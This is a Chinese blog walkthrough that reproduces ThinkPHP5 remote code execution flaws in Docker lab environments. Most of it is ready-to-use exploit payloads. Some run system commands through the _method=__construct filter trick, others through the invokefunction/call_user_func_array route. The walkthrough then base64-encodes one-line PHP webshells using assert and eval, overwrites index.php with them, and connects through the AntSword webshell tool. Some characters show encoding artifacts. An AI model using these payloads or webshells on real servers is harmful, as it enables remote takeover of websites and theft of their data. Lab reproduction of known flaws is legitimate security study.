一:5.0.23-rce版本漏洞復(fù)現(xiàn)
漏洞描述
ThinkPHP是一款運用極廣的PHP開發(fā)框架。其版本5中,由于框架對控制器名沒有進行足夠的檢測,會導(dǎo)致在沒有開啟強制路由的情況下可執(zhí)行任意方法,從而導(dǎo)致遠程命令執(zhí)行漏洞。 漏洞危害
環(huán)境搭建
啟動環(huán)境
切換到/thinkphp/5.0.23-rce# 目錄下
vim docker-compose.yml

將version改為2,保存并退出
接著執(zhí)行
docker-compose?up?-d

此時環(huán)境搭建成功

漏洞復(fù)現(xiàn)
在網(wǎng)頁上利用POST構(gòu)造payload
(1)查看目錄下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

(2)查看id
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

(3)查看當(dāng)前目錄
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

將上述代碼改為phpinfo,發(fā)現(xiàn)是可以輸出關(guān)于 PHP 配置的信息
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

利用蟻劍工具getshell
由于存在過濾,需要用到base64加密來使我們的一句話木馬上傳成功
我們知道了一定存在index.php這個文件,那么我們就對其進行修改為一句話木馬的樣式
利用 echo “” >index.php 進行測試
為了顯示我們成功注入,我們在其中添加字段變?yōu)?/p>
echo “aaabbb” >index.php
對引號內(nèi)的進行base64,注意此時的引號不需要進行加密
經(jīng)過測試,發(fā)現(xiàn)eval函數(shù)是注入不了的,需要替換為arrest函數(shù)才可以成功注入
所以
?文章來源地址http://www.zghlxwxcb.cn/news/detail-518663.html
將aaa<?php @assert($_POST['xss']);?>bbb 進行base64編碼
?

?
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php

成功回顯出aaabbb,說明是加入到了index.php里了
開始用蟻劍,URL地址填寫我們一句話木馬的位置
注意要選擇char16和base64


測試連接成功
可以看到我們剛才寫入的一句話

?
二:5-rce版本漏洞復(fù)現(xiàn)(Thinkphp5 5.0.22/5.1.29)
環(huán)境搭建
?
啟動環(huán)境
切換到/thinkphp/5-rce# 目錄下
?
vim docker-compose.yml

將version改為2,保存并退出
接著執(zhí)行
docker-compose?up?-d

此時環(huán)境以成功搭建

漏洞復(fù)現(xiàn)
(1)輸出關(guān)于 PHP 配置的信息
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

(2)whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

(3)還可以將php代碼寫入文件
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>

接著訪問shell.php

?
利用蟻劍工具getshell
由于存在過濾,需要用到base64加密來使我們的一句話木馬上傳成功
我們知道了一定存在index.php這個文件,那么我們就對其進行修改為一句話木馬的樣式
aa<?php @eval($_REQUEST['attack']) ?>bb
將上面的一句話進行base64加密

將一句話寫入index.php
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > index.php

成功回顯出aabb,說明是加入到了index.php里了
開始用蟻劍,URL地址填寫我們一句話木馬的位置
注意要選擇char16和base64


測試連接成功
可以看到我們剛才寫入的一句話

此時復(fù)現(xiàn)圓滿完成~文章來源:http://www.zghlxwxcb.cn/news/detail-518663.html
?
到了這里,關(guān)于ThinkPHP5系列遠程代碼執(zhí)行漏洞復(fù)現(xiàn)(詳細)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!